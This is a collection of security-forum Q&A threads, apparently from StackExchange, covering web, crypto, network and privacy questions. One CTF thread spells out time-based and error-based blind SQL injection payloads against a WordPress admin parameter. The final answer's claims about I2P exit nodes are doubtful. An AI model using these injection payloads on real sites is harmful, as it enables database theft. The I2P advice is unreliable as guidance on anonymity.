Protect files on webserver, allow only internal use I have a website and it has an audio player to play music files. The music files are hosted in a public directory. Since they are there anyome can point there and use the files on their website.

Is there a way to only allow my webpages to use the audio tracks?

The files are public for the users' browsers to be able to play them, so you cannot prevent users downloading them for other reasons (or indeed just saving the copy in their browser cache).

If you want to stop people reusing them in-place from your website (which might be your main aim - someone else referring to the file on your site causes you server load and bandwidth use), you can add a check on the HTTP referrer field. See for instance http://www.htaccess-guide.com/deny-visitors-by-referrer/ .


Automatic choice of the hash function for key derivation This is a theoretical question: does this make sense and is secure?

My goal is to strengthen the passphrase. The flow is the following:

I enter a pssphrase admin1234. This passphrase is going to be used to derive a key for symmetric encryption / decryption.
A passphrase enters the class below. The desired amount of bytes comes out.

The PBKDF2 implementation I am referring to is provided within the Microsoft.AspNetCore.Cryptography.KeyDerivation namespace.

public static class Pbkdf2
{
    public static byte[] DeriveBytes(string passphrase, byte[] salt, int iterations, int amountOfBytes)
    {
        var prf = DeterminePrfForAmountOfBytes(amountOfBytes);
        return KeyDerivation.Pbkdf2(passphrase, salt, prf, iterations, amountOfBytes);
    }

    private static KeyDerivationPrf DeterminePrfForAmountOfBytes(int amountOfBytes)
    {
        if (amountOfBytes < 1)
            throw new ArgumentOutOfRangeException(nameof(amountOfBytes));

        if (amountOfBytes <= 32)
            return KeyDerivationPrf.HMACSHA256;

        return KeyDerivationPrf.HMACSHA512;
    }
}

What I am concerned about is the choice of the hash function. My questions:

Does it make sense to choose the hash function based on the desired amount of derived bytes?
If not, does it make sense to choose the hash function based on some other parameter to make it automatic?

I feel the answer is no to both, but some part of me wants to see a sense in it. How to choose the hash function otherwise?

Does it make sense to choose the hash function based on the desired amount of derived bytes?

PBKDF2 can output as many bytes as you ask it for, regardless of the size of the hash. PBKDF2 will happily output as many bytes as you need, but it will be significantly slower, as it has to go through a second pass. An attacker can easily optimize out this extra work, making it a poor idea to use PBKDF2 to generate a larger output than the hash function naturally provides. If on the other hand you are using a larger hash than the desired output, you can simply truncate the result.

  If not, does it make sense to choose the hash function based on some other parameter to make it automatic?

You should choose a hash function based on its security. You should only use a cryptographically secure hash such as SHA-256 or BLAKE2. There is no need to dynamically switch between different hash functions if the one you have chosen is sufficient for the job. A few examples of modern, cryptographically secure hash functions you can safely use with PBKDF2:

SHA-2 (such as SHA-256 or SHA-512). This hash family is the NIST standard. SHA-256 is optimized for 32-bit operations, whereas SHA-512 is optimized for 64-bit operations. It comes in a variety of output sizes and uses 64 to 80 rounds. You can't go wrong with SHA-2.
SHA-3. A newer hash function standardized by NIST. Despite the name, the design is not at all related to SHA-2. SHA-3 is not in common use yet, but is generally considered solid.
Whirlpool. This hash function uses a block cipher internally which is based on Rijndael (AES). It has a 512-bit digest and uses 10 rounds. It boasts a high security margin.
BLAKE2. A rather new hash based on Daniel Bernstein's ChaCha cipher. BLAKE2b has a 512-bit digest and uses 12 rounds. BLAKE2s has a 256-bit digest and uses 10 rounds.

My recommendation would be to use PBKDF2-HMAC-SHA512 with a 512-bit output. You are unlikely to need anything larger, and if you need a smaller output, you can safely truncate it to get the desired length. For example, if you need a 160-bit output, you can truncate the 512 bits to 160.


Accidentally accessing a business's computer through public wifi I wasn't sure if I should post this here or on the legal side. Last night while on a double date I had connected to a public wifi and scanned the network, I noticed two peculiar things so I decided to do a little more of a deeper look at them, on their public wifi there were two hosts one named Desktop, and the other named BackOffice1, I scanned services for both computers and noticed that they had open SMB ports and both had open guest accounts through which you could log in, and both were company computers that had information like employee files, what ever bad checks they had recieved, etc. I brought it up to the staff as soon as I found it and showed them, that they had two company computers unsecured on the public wifi they offered. I am worried I have done something wrong, any sound advice would be appriciated.

You had no right to scan their network, and any decision now is up to them. They could try and sue you (I doubt that), simply scold you or even thank you, and it very much depends on how you told them.

  I brought it up to the staff as soon as I found it and showed them, that they had two company computers unsecured on the public wifi they offered.

I do think that telling them they had unsecured computers wasn't the smartest move. You could have simply told them you happened to see their computers on the network when you were connected, and ask if they were aware of that fact and if they had taken the measures to secure them (justify this coming forth by being a security enthusiast maybe). If you really wanted to make them aware, you could have waited a bit and sent an anonymous message telling them about the situation.

But first of all, don't go scanning infrastructures that are not yours/which you are not permitted to scan, it can get you in trouble no matter what your intentions are ("I'm just a security engineer" is every black hat's first excuse).


How to exploit a misconfigured CORS policy when a per user authorization token is required? We recently got an API for security audit. The CORS headers of the API seems mis-configured as when we tried requesting the endpoint with http://attacker.com as origin the server returned the following in the response headers:

access-control-allow-credentials: true
access-control-allow-methods: GET, POST, DELETE, PUT
access-control-allow-origin: http://attacker.com

Though the site is vulnerable, but the problem which is blocking us from creating an exploit impact is that the site send an authorization token in each request, which is unique for each user. Any ideas on how to go ahead in a situation like this?

Cross origin requests are dangerous because it makes it possible to use the session of the user to make requests as that user. This works because a cookie is sent along with the request and implicitly authenticates the user to the web application under attack.

If your application does not use cookies but instead uses a header to keep the session token in, the danger of cross origin requests is mitigated. You can still do requests to the server, but not under the session of the user.


Receiving validation mails with wrong address Lately I have been receiving unexpected validation/confirmation mails from various social media and/or e-commerce sites, asking me to validate my account or giving me the overview of my last order. I never registered to those social media, nor I ordered items on that site.

I checked all the usual suspects for a scam mail (hyperlink previews seem legit, grammar and syntax is ok, etc.), the only thing these mails have in common is that at the very end they have the disclaimer

  This mail has been sent to namesurname@gmail.com [...]

while my address is name.surname@gmail.com

Are these real phishing mails, or is it a problem with how Gmail addresses the mails?

I'm assuming these are unsolicited "confirm your email" or "thanks for creating your account" emails, indicating that someone has used the email address in the body to open an account or place an order.

In order to avoid confusion between john.smith@gmail.com and johnsmith@gmail.com, GMail explicitly ignores any dots in an email address.  In this case, they are just using a different way of spelling the same account.  If you have an even slightly common name, this occurs quite frequently because somehow some people do not know how to spell their email address.

You can confirm that the address it was really sent to matches the one in the body if you click the drop down menu on the right hand side of the GMail message and click "show original".  This includes all the routing headers for the email, which would show what email address GMail is attempting to use for delivery.


Is there any security risk when a certificate authority is used more than all others? According to NetTrack, Let's Encrypt is now used on more than 50% of domains (51.21% as of April 2018).

I know Let's Encrypt helped a lot of people to get free certificates for their websites, so I think its existence was a very good thing for the web.

But does the fact that a certificate authority is used by the majority of users cause security risks?

Note: this question is CA-agnostic, even if Let's Encrypt is the main CA today.

TL;DR: It does not matter much.

The only security "risk" here really is the CA being "Too big to fail", where the browsers cannot distrust the CA quickly. But this is happening to all big CAs, not just the biggest one.

Other than that, the only problem may be the CA being a more tempting target, though all CAs are already very tempting. Having all the eggs in one basket has its advantages and its disadvantages in this situation. Advantage is, that you need to protect just one basket, disadvantage is that if that basket breaks, the impact is somewhat bigger (assuming technologies like CAA and HPKP are used, otherwise it does not matter how big the CA is).


how can I secure my static ip router? hi I have a static ip and someone is hacking my computer trought it I tried to format my computer and making a clean install but he keeps penetrating it this time i tried to install the AV before pluging my computer to the internet but since it requires updates I asume he can use some exploits to bypass its firewall I try reseting my router and I always have the same IP what should i do?
its a remote exploit I assume since I cant update my computer before his attack

Unplug your router from the internet, power down your normal machine and then connect another fully patched machine to your router.

Log into the admin panel, change the administrator password to a new, strong password and delete any other users from the router. Make a note of any internet connection settings. It might be worth doing a factory reset to make sure that there are no port forwarding rules or anything else setup. If you do this, check that the password is still your new one afterwards. Check that all the remote access settings are turned off (web, telnet, etc) and export the configuration to your clean machine if your router supports this.

Connect the router to the internet and then run Shields Up to verify that all service ports are Closed or Stealth. If any come up as Open, go into your router config and close them. Once Shields Up has given you the thumbs up, disconnect your router again from the internet and reformat your attacked machine. Use the clean machine to manually download updates which can be installed to the original machine (OS as well as AV). Don't connect your original machine to the router or to the internet until it is fully up to date (you'll of course have to check which updates you need manually).

Yes this approach requires a separate machine, but you have no choice unless you can get your original machine patched and up to date without connecting through your targeted router.


Android app permission warning: how serious? Installed a snow emergency parking app published by my city.  My android phone warned me that it asks for dangerous permissions.  Namely action_boot_completed,  get_accounts.  It seems strange that a simple app about snow plowing schedules would need any of these.  I'm fairly new to android but I have installed a bunch of apps and have never been warned like this.  The app is https://www.stpaul.gov/departments/public-works/street-maintenance/snow-emergency-information/saint-paul-winter-snow

I checked out http://lifehacker.com/5991099/why-does-this-android-app-need-so-many-permissions and the upshot of articles like this is:  track each permission to an actual feature of the app.  This app doesn't seem to have a feature that would require access to accounts.  My question is:  how to proceed?

a) take it under advisement and use the app.

b) avoid this app

c) make a scene, contact the city and demand answers.

I'm asking because I truly don't know if this is just something we live with?  are these warnings so common that I will become enured to them?

Androids permission model up to lollipop is flawed in the sense of usability, and they are moving towards context driven permission request model. Let us review the current situation again:

You as a normal user are looking for an application and after searching the google play, you finally find it.
As happy as you can be you click install, and then there are random pages asking for things like EULA, permissions, installation mode, (random stuff huh?) we're used to clicking next, next, finish until the application's installed. (Seriously, No one ever reads those pages!)
Once you look back, you realize that the application asked for 2 pages worth of permissions and you allowed it while you were excited about trying it out.

OR

You may be a security conscious user (just like all of us) who cares about these things, You do see the application is asking for access to your SMS and GPS and Contacts while its functionality is as simple as a 4 digit calculator. Is there something you can do about it? NO!!!

You either have to forget about the application or just give it all the permissions.

If you haven't seen yet how this model is wrong, let me make it clear.

You are installing the application and want to try it out so naturally you want to get everything out of your way to achieve this goal.
You haven't installed the application yet so you don't really know what features it has and what permissions it may need.

This is not the best time to ask you to give it permissions.

Up to Lollipop:

  Google Play’s permission details screen will tell you everything an app may request access to. It won’t really tell you why an app may want to access something, though.

But in Marshmallow

  Apps designed for Android Marshmallow will ask you for permission the first time it wants to access something.

The more Usable implementation is to ask you to give permissions while the feature is being used. Suppose you open the skype application, try to start call and it asks you for microphone permission...seems right. Then you want to switch to a video call and it asks you for camera access.

Now if an application asks you for access to the camera out of nowhere you can decline it. And also if you're worried about skype capturing your video while its not running in the foreground you can revoke this permission and give it back when you want to make a call.

I refer you to Scott Hanselman's AWESOME Podcast with Google's Adrienne Porter Felt about Designing Usable Security at (13:00) she talks about android permission model.

  A good end goal would be for people not have to think about security in order to remain secure.

tl;dr

The model is flawed, switch to another platform, wait for it to get fixed but meanwhile my personal advice is:

Don't do your banking and other critical stuff on a device where a lot of random applications are installed.
Cancel the installation if the application is not from "well known" publishers and is asking for permissions you think it doesn't need or is too much.
If possible, contact the publisher and ask for clarifications about their applications permissions.


What's the real reason behind blocking the social sites? Even legitimate sites like Twitter which acts as a knowledge repository? I see some sites are blocked for IT security at schools, colleges and offices. But, why are some obvious good sites blocked too?

There are all sorts of security risks - the ones I tend to highlight are:

The big social networking sites are a
wonderful target for attackers.
Imagine a group of over a billion
users, most of whom are not
technically savvy, that all use the
same web app (eg Facebook) and have
personal data, links to others etc.
So take it as read that these sites
are continually targeted by well
funded attackers and (slightly) more
reputable companies who use the
functionality of the application to
gain significant access to your
machine or data (eg Farmville) which
may include passwords you may reuse
elsewhere.
Additionally, the large pool of users
accessing the same application means
a zero-day in that application will
be very rewarding.
A company that allows social
networking has very little egress
control over data - so how can you
protect against the leakage of
sensitive data? Think of the
Wikileaks implications...

Obviously you also have the time-wasting aspect - social networking can be a huge time-sink. One thing to be aware of is that now everyone and their dog has a smart phone, the social networks are available whether or not you allow it on the company network, so the time wasting may still be an issue.


How ARP spoofing works when the attacker has a different IP address than target? I am unable to understand fully how ARP spoofing attacks are successful.

Assuming three PCs are connected to a single switch

PC-1 - IP address 192.168.1.1, MAC: AA:AA:AA:AA:AA:AA

PC-2 - IP address 192.168.1.2, MAC: BB:BB:BB:BB:BB:BB (ARP Spoofer)

PC-3 - IP address 192.168.1.3, MAC: CC:CC:CC:CC:CC:CC

So when PC-1 pings 192.168.1.3, it will broadcast an ARP request and PC-2 will respond saying that I am 192.168.1.3 and my MAC is BB:BB:BB:BB:BB:BB

After PC-1 adds this ARP reply to its table, the ping packet from PC-1, will have a Destination IP address of 192.168.1.3 and a destination MAC of BB:BB:BB:BB:BB:BB.

The ARP spoofer NIC (PC-2) will recieve this frame because it is addressed to its MAC address, but wouldn't the packet be dropped as it passed up the TCP/IP stack at the IP layer as as the ARP spoofer has a different IP (192.168.1.2) to the destination IP of the packet (192.168.1.3)?

In many cases, the attacker doesn't need to be configured with the victim IP:

If they only want to capture packets intended for the other IP, assuming the attacker can capture raw packets on their system.
If they're spoofing to overload or DoS the network, e.g., a MAC table overflow attack.
If they're sending data via UDP/ICMP, either to exfiltrate data or to provide a false trail pointing at the victim's IP

In some cases, the attacker might need to configure their system to use the victim's IP - when they're actively masquerading as the victim, and are taking steps to block the victim from disrupting connections.  But those cases are relatively rare, compared to the abuses above.


SSL certificates published in Mandiant's APT1 report You probably heard about excellent report "APT1: Exposing One of China's Cyber Espionage Units" published by the Mandiant company (you can download it here). Report is great and I recommend it to anyone interested in computer security.

Together with the report Mandiant published SSL certificates used in communication between APT1 malware and it's C2 (command & control) servers in appendix F. However, the published certificates are in text format like this:

Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=Some-State, O=www.virtuallythere.com, OU=new, CN=new
Validity
Not Before: Oct 23 03:25:49 2007 GMT
Not After : Oct 22 03:25:49 2008 GMT
Subject: C=US, ST=Some-State, O=www.virtuallythere.com, OU=new, CN=new
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (1024 bit)
Modulus:
00:ee:48:13:76:f1:76:4b:6a:fe:6d:8c:5e:60:44:
19:b1:0a:b1:9e:bb:63:80:8f:c8:43:c8:73:ae:77:
4e:16:01:4e:8f:88:f8:a2:8c:4d:2e:b2:3d:6b:bd:
2e:cc:1b:b0:c3:5d:d6:a6:bc:1e:1a:31:b2:27:84:
64:9c:0b:b7:1e:b0:5e:82:96:e8:71:f6:ca:95:cf:
e1:40:bd:45:05:94:25:74:a0:90:ce:61:b9:8e:ba:
ed:aa:62:d4:10:79:68:eb:fb:31:63:0c:7b:11:2d:
8f:cf:57:a8:c4:6c:fd:77:c4:04:f5:46:84:e4:24:
c6:fe:dc:3a:06:9c:3e:ed:f9
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
CA:FALSE
Netscape Comment:
OpenSSL Generated Certificate
X509v3 Subject Key Identifier:
1B:C5:98:18:EB:D2:1F:3A:5B:F9:07:E0:BF:4E:C5:59:9E:FD:51:29
X509v3 Authority Key Identifier:
keyid:EA:D7:8A:29:DB:FB:0A:0C:C0:85:B3:BA:8A:C3:D7:80:95:26:11:90
DirName:/C=US/ST=Some-State/O=www.virtuallythere.com/OU=new/CN=new
serial:F2:1E:60:49:18:68:08:B6
Signature Algorithm: sha1WithRSAEncryption
b8:2c:50:58:a8:29:ce:d1:f3:02:a3:0c:9b:56:9f:45:24:f1:
48:d3:53:88:d7:2e:61:67:aa:08:e4:7d:d5:50:62:ae:00:d5:
1a:91:61:01:94:5e:ab:62:e8:53:a5:0d:6a:f4:41:81:ee:2b:
60:8d:e2:a6:3a:12:2d:aa:08:a5:5a:f4:d2:9e:b2:43:38:57:
f1:c1:45:54:33:d1:05:8c:e4:37:ad:00:a8:b3:92:3f:2d:21:
a0:20:ea:0f:48:05:9f:2a:2c:88:da:eb:8b:12:bb:1d:73:85:
4d:be:

What I believe is not very "workable" format: I would like to implement a script to check my network for APT1 certificates, but to do it I would need certificate in PEM format or at least fingerprints (sha1, md5) of certificate to automate process of detecting these certificates in my network.

Is there any way to convert certificate in format as above to PEM format or at least a way to calculate sha1 fingerprint for the cert?

I found this, which suggest that such conversion is cubersome and complicated. Do you agree? Does requesting Mandiant to release certificates in other (PEM) format is my best bet here?

You cannot, generically, reliably rebuild the base certificate from which such a report was generated (apparently with the OpenSSL command-line tool). For instance, you have the string contents of the Issuer and Subject names, but not the information about how they were encoded.

You could use the signature as a discriminant for the certificates. You won't find a "normal" certificate with the exact same signature value (it is possible to build a fake certificate which contains the same signature, but you have to do it on purpose).

If you know the public key of the certificate which was used to issue this specific certificate, then you could use the public key to do the first steps of the signature verification, yielding the SHA-1 hash of the "To Be Signed" (that's a feature of PKCS#1 RSA signatures: this is an algorithm "with recovery": from the signature and the public key, you can obtain a hash of the data which was signed). With that hash, you could test whether a putative reconstruction of the certificate is correct or not. But this is hard work. If you just want to check whether a given certificate is one of the certificates in the Mandiant report, extract the signature field (e.g. with OpenSSL) and look it up in the lists published by Mandiant.


Can a hacker who has entered a virtual honeypot attack a LAN? Is it possible for a hacker who has entered a honeypot (running in a virtual machine e.g. virtualbox), to attack real computers on a LAN?

Using Does a Virtual Machine stop malware from doing harm? & Breaking out of the virtualization layer as a reference.

It could be possible. It would require a misconfigured VM network, shared access between the host and the VM or some other type of exploit to break out of the VM.


Is it safe and secure to disable sandbox of google chrome in Kali Linux or any distribution of Linux? I have installed chrome on Kali Linux. But It doesn't run. After searching on the internet I found a solution in which you have to disable sandbox if you wanna run google chrome as a root user. According to my research sandbox is computer security box that prevents from executing malicious URL (correct me if I am wrong).

So here's my question:

I wonder is it safe to disable sandbox ?.
if it is not safe so Is there any software like a sandbox to prevent
  malicious URL to execute ?.

I like to use google chrome since the beginning and it is hard to switch to Firefox. I have never used Firefox.

Note: this question is for all Linux distribution.if you know only about Kali Linux feel free to only answer on Kali Linux.

Instead of running any browser as root, you should create a new unprivileged user to run Chrome.

As @McMatty quoted, disabling the sandbox removes an essential security layer that's protecting you from compromise if an attacker exploits a vulnerability in the browser.

Also note that Kali Linux is a special-purpose OS that's not meant to be for everyday use. (The fact that root is the default user is a hint at that.) So if find yourself starting to customize it a lot, you might want to change your setup, using your main OS alongside Kali which you only use for pentesting.


Why there is nothing that automatically checks signatures of files downloaded in browsers? When downloading files (mainly software/installers) from pages in browsers, sometimes it comes also with a cryptographic hash or a signature to verify the authenticity of a file against data manipulation (example below).

Why there isn't something that automatically says to the browser "Hey, this is the link to download the file and this is the link to download the signature, download both and check its authenticity"?
Is there a vulnerability issue?
And if there exists some extension or something else that does this, please tell me.
It would be really nice to have something that automatically checks the integrity and authenticity of downloaded files.

There is such a mechanism - Subresource Integrity.  It allows a web site to specify a checksum for any <script> or <link> element on the page, where the link being provided presumably points off to a CDN, or a partner site, or some other resource that the main web page source doesn't have control over.  You can learn how to use it here.
It wouldn't make sense in the normal context of pages being provided by a single site, because if the download from the site might be untrustworthy, so would any checksum provided by that site.  It's used where there's a demarcation of trust between the page being loaded and the subresources that that page loads.


Symmetric key generation Assume I have a source that generates symmetric keys. This source could be a very solid HSM device, somewhat reliable PRNG, a compromised key generator or a hardcoded value which returns the same byte sequence every time.

Thus, I am not sure if the key I receive is really trustworthy. So, what I plan to do is to generate another random key locally, and XOR these two.

My PRNG generator would be more reliable than a compromised system, but less reliable than a proper HSM device.

My question is, does "XOR'ing these keys" lower my security in any way? What if I have to add a couple more keys into the mix? Will XORing these remove the less than ideal security level of some keys (but not all) in the mix?

UPDATE
Let me put it in another way: Assume I have a number of key generator sources and ideally all should generate secure keys. But there is always the possibility of some of these key generators are less than ideal security-wise.

This not-ideal condition could be because of a bug in the key generator (like the Debian case), it could be a backdoor placed by a 3rd party (NSA, Chinese Gov., North Korea, Your neighbour script kiddy,...), or a very different problem affecting the security level.

As long as I have at least one of the Key Generators generating "acceptably secure" keys, will XORing all of them reduce the level of security in any way?

My gut feeling is, since all keys are practically random sequence of bytes, XORing anything with a random sequence does not change the randomness. But I don't have anything to back this up.

So if you have anything supporting my gut feeling or against it, that would be great. If you don't, I also would like to hear your thoughts.

thank you

You are on solid ground with your basic XOR idea. XOR'ing multiple UNCORRELATED strings to reduce bias is one of a number of techniques that come under the general heading of "Software Whitening".

http://en.wikipedia.org/wiki/Hardware_random_number_generator#Software_whitening

(John Deters' wiki link was completely on-point; this one is just a bit more "applied".)

Using a cryptographically secure PRNG to create the material for XOR'ing is among the more reliable ways of guaranteeing a decorrelated removal of bias.


Understanding SQLMAP payload I was participating in a CTF and there was a SQL Injection challenge. There is a Wordpress page with a vulnerable plugin parameter (let's call the website https://vulnerable.com/), and the solution comes from leaking values from the database. Using SQLMAP, it quickly found the payload.

When visiting the page, there is a "N" seconds delay.

http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm)

SQLMAP went on to solve the problem with ease. This left me feeling a little guilty though, because I do not really understand the payload. I tried changing it to the following, but no delay takes place.

No delay took place.

http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 AND SELECT(SLEEP(N))

Could someone help me understand the nested SELECT statements, the number 1749 and the seemingly random string nQtm?, are these random?, why does the payload fail without nested SELECT statements?

I assume that it is a MySQL database.
1749 (is greater that 0) and nQtm (valid alias - "variable name" for derived table) were chosen randomly by sqlmap. The problem with sleep(N) is that SQL database evaluates it to 0 and hence post=1 AND 0 will be evaluated to zero (FALSE : 1 AND 0 = 0) too. Value 1749 gets interpreted by SQL database as TRUE (similar things (if (42) { ... }) happen in PHP or in python or in C and probably elsewhere but I'm not using that style of coding because it is hard to read and might lead to unintentional bugs).

No delay took place.
http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1
AND SELECT(SLEEP(N))

I created just a random query and it still delayed for 3 seconds. So i cannot really explain why it didn't delay in your case (maybe it is not MySQL database (maybe it is Sqlite) or maybe some internal database optimizer skipped that part with sleep(N) because it was immediately evaluated to zero, because there are no if-branches. I ran once in a similar problem with SLEEP(N))
select t.a from (select 1 as a, 2 as b, 3 as c) as t where t.b = 2 and 1=(select(sleep(3)))

Details:
SELECT(SLEEP(1)) returns 0
(SELECT 1749 FROM (SELECT(SLEEP(1))) nQtm) where nQtm is an alias (you can call it a variable if you wish) for derived table (SELECT(SLEEP(1))). If you try to execute (SELECT nQtm.* FROM (SELECT(SLEEP(1))) as nQtm) the result will be just 0 (one row with result 0).
This is same as writing select t.* from (select 0) as t which will result in 0 (you select all columns and all rows here, but since we have only one row and one column the result is 0).
So (SELECT 1749 FROM (SELECT(SLEEP(N))) nQtm) will always result in 1749 - it doesn't matter what you put into SLEEP(N) - it will delay N seconds, but result will be the same (select 42 from (select 0) will always select 42 so it is in some sense independent from derived table (select 0)).

Imagine the original SQL query is:
"UPDATE posts
SET     data='hello world'
WHERE   user_id=42
        AND post=".$_POST["post"];

Now if you make an injection it will result in:
UPDATE   posts
SET      data='hello world'
WHERE    user_id=42
         AND post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm)

where ... AND post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm) which is the same as  ... AND post=1 AND 1749 which probably will be evaluated to 1 (which is TRUE) if stored entry for post is also 1 (1=1 AND 1749 same as 1 AND 1749 same as 1). So it will sleep N seconds and then make an update to the DB.
You might exploit it with if...then...else statement. There are 2 of them in MySQL: (if (isMyDogBrown?, true, false)) and (case (isMyDogBrown?) then (true) else (false) end). So now you can construct your query and if something evaluates to TRUE it will sleep for N seconds: (SELECT IF ( substr(@@version, 0, 1)='1'), sleep(5), 0).

Note: You can optimize your query by avoiding time based exploitation (very slow). You can use binary search based exploitation technique e.g. by using the fact the errors in MySQL regular expressions are treated as MySQL errors (so "MySQL/server error" you will evaluate to TRUE and "regular page" to FALSE; ... and it might spam the mysql.log with error messages on that server):
(select (1) rlike (if (".$cmd.", true, 0x28)))

(0x28 = () (https://www.systutorials.com/4670/ascii-table-and-ascii-code/)
Additional notes:

Here is a great source of different exploitation methods which was many years ago my source for learning SQL injection: https://websec.wordpress.com/category/sqli/
If you need to exploit heavy query (time based): https://github.com/sqlmapproject/sqlmap/issues/2909 - you will need to write your own wrapper on localhost (localhost/wrapper.php?id=INJECT_HERE) which will make exploitation easier for sqlmap. sqlmap has sometimes hard time to detect vulnerability.
SLEEP(N) will not always work everywhere (in cases where your SQL query MUST be somewhat broken and not return results which might be evaluated by some filters in the main PHP/whatever script (like login attempts counter etc.)). Sometimes you'll need heavy query based exploitation: https://stackoverflow.com/questions/45666126/strange-behaviour-of-mysql-sleep-function


How does Shutterstock keep getting my latest debit card number? I've made a single photo purchase from Shutterstock back in 2012. I created an account and gave them my debit card #. I haven't made a single purchase from them since.
Silently in 2018, they activated auto-renew without my consent, without notifying me via e-mail and without sending a receipt. They just started charging my new debit card. One that I hadn't even given them. This went on for 3 years without me noticing.
Then in July 2020 I lost my wallet, so I requested a new card. Somehow, Shutterstock had my updated debit card number and was able to withdraw from my checking account again in 2021, without me giving them my new debit card info.
I've never given them any of the newer card numbers since 2012. How is it possible for them to always have it? Is my banking information available somewhere for them to look up?

Simply put, Account Updater:

When participating issuers re-issue cards, they submit the new account
number and expiration date to VAU. Participating merchants send
inquiries on their credentials-on-file to VAU and are provided with
updated card information, if available. This helps participating
issuers retain cardholders by maintaining continuity of their payment
relationships with participating merchants.

Shutterstock subscribes to Account Updater, and gets updated copies of your card info when it expires or is replaced.
VAU is Visa's version; more info is in a fact sheet here.  MasterCard calls their version Account Billing Updater.  American Express calls their version Cardrefresher.  Payment processors will often aggregate multiple Card Brand's versions into a single service for Merchants.
It is theoretically possible to opt out of Account Updater, going through your bank to do so.  It's one of those 'you have to know in order to ask' type of things, and I'm betting the ease of doing so varies from bank to bank.


Storing encrypted information in database vs partition encryption Trying to search for answers like Database encryption or filesystem encryption? but did not found what I need.

My database contains confidential information.

What is better?
To store encrypted information or to use a partition encryption?

If we store encrypted information then SQL injection or other attack will return encrypted data.

The issue that establishing of storing encrypted information can cost development time.

On the other side, establishing of an encrypted partition is not big issue.
But in case of SQL injection or other attack an attacker can get plain data.

What is better way to store confidential information?

Better for what? In general, encryption is used to prevent someone from accessing encrypted data.

Database level encryption is more complicated to implement at both administrative and application sides. However it prevents unauthorized staff from accessing the data.

Filesystem level encryption leave your database open to any staff member, who has direct filesystem access. However, it's much easier and faster to deploy and debug application using database encrypted such way.

From the application level, if an intruder is able to gain access to decrypted data level, it's irrelevant, on which level the database is encrypted.

So, database level encryption protects you from fraudulent staff, and partially from external intruders. But if you're looking for the best solution for external intruders, you should concentrate rather on application security, than on database level encryption.


Why not use client certificates for premaster key generation The question is about a very specific SSL handshake scenario. I understand that some servers may request client certificates in order to authenticate connecting clients. However, as far as I can know, server only checks the authenticity of the client.  Why would you not use client certificate to generate premaster key?  For example, let server generate the key and sign it with public key it received from the client so that only the legitimate client can decrypt it.

The use case can be, for example, when MITM attacked somehow came into possession of server's private key. Now I know it's a bad situation to begin with but still. So in this case even if client authentication IS requested by the server, attacked can simply pass the certificate and certificate verify messages to the server and continue on eavesdropping the session. However if client's public key was used to generate the symmetric key, this would help prevent this. Since attacker doesn't have client's private key it would not be able to decrypt the session.

Your description is a bit confused; I see you are talking about "signing with the public key" which is analogous to "encrypting with the private key", i.e. a widespread but flawed explanation which does not actually work with real asymmetric cryptographic algorithms as they are used in practice.

Nevertheless, it can be said that what you seem to suggest does not do what you believe it does; or, rather, SSL is already more secure than you believe. When the attacker knows the private key of the server, then he can impersonate the server: the client talks to the attacker, believing that it talks to the genuine server. Similarly, if the attacker knows the private key of the client (assuming that the client has a private key, and the server asks for client authentication with a certificate), then he can impersonate the client when talking to the server. This is generic. However, in order to pull off a true Man-in-the-Middle attack, the attacker must do a double impersonation: he must simultaneously impersonate the server (when talking to the client) and impersonate the client (when talking to the server).

With SSL as defined by the standard, when the server request a certificate from the client, a true MitM is not feasible unless the attacker knows the secret keys of both the client and the server. The problem you allude to ("server only checks the authenticity of the client") does not actually exist. Therefore, your proposal cannot solve it (there is no possible solution for an inexistent problem).

In fact, somehow mixing the client's public key may make things worse. Ideally, the server's public key should not be used for key exchange either. The reason for that is often called forward secrecy (PFS). If the server uses a classic RSA-based key exchange, and the attacker, later on, steals a copy of the server private key, then the attacker can decrypt past recorded sessions. This is bad. But there is a fix in SSL, called "DHE" as "Ephemeral Diffie-Hellman". When using DHE cipher suites, the actual key exchange uses DH key pairs that both client and server generates on the fly; the server merely signs its DH public key using its permanent private key. This provides PFS because the server never stores its DH private key anywhere, making it presumably immune to ulterior theft.

We may note that, in SSL, the client's key, when used, is only for a signature; and that is good. It means that if the client's private key is stolen, previous sessions still remain confidential. Using a DHE cipher suite enables the same desirable property on the server side. This enhanced security is not obtained by "using the client certificate to generate the premaster key"; quite the contrary indeed. It is achieved by ceasing to use the server certificate to generate the premaster key.


Whats the best way to make my internet traffic anonymous? Recently I have thought more and more about how to make my Internet traffic anonymous. Not for illegal reasons, but just to stop leaving information about me. The methods I know of to anonymize my browsing are services like proxies and VPNs.

I have thought about going the VPN way with services like CyberGhost VPN or vpntunnel.se. As far as I know the problem with proxies is that only http and https traffic will be hidden, but as soon as I use another program than my browser the traffic is not anonymous.

I thought about installing VirtualBox on my Windows 7 system, then running an Ubuntu Linux VM. I would then install the VPN client on the VM. Does that make sense? I am primarily concerned about the risk of virus infection on Windows.

The service vpntunnel.se advertises that it doesn’t store any user data besides the username and email address, but since they are in the EU I don’t know if they actually have to store anything extra because of the data retention laws.

Does anyone have more experience about this? Any ideas on how to make this scenario even more secure?

As far as hiding IP address goes:

Tor does provide a decent level of anonymity but creates its own set of problems, in particular Tor users are a frequent target for traffic sniffing and man-in-the-middle attacks due to compromised exit nodes (see How much can I trust Tor?), so I don't recommend it.

Instead of Tor you can use I2P, which does not suffer this vulnerability because it uses a predefined exit node (or the one you manually choose), and the exit nodes are usually well-maintained servers, so they're way less likely to be malicious or compromised.

VPN is easily tracked down by traffic analysis - tracking packet sizes, network lag and timings, etc. Tor is more resilient to that, and I2P is supposed to be even more resilient but it was not yet investigated as thoroughly as Tor was. Cryptohippie VPN also takes traffic analysis into account and adds additional layers of protection against it.

However, obscuring traffic origin is just a part of the problem.

A web browser is ridiculously easy to track using browser fingerprints, even you've disabled cookies, JavaScript, and everything else you can disable. Panopticlick explains what browser fingerprints are and demonstrates just how easy is, and it's not nearly complete - BrowserSpy.dk lists much more ways of tracking.

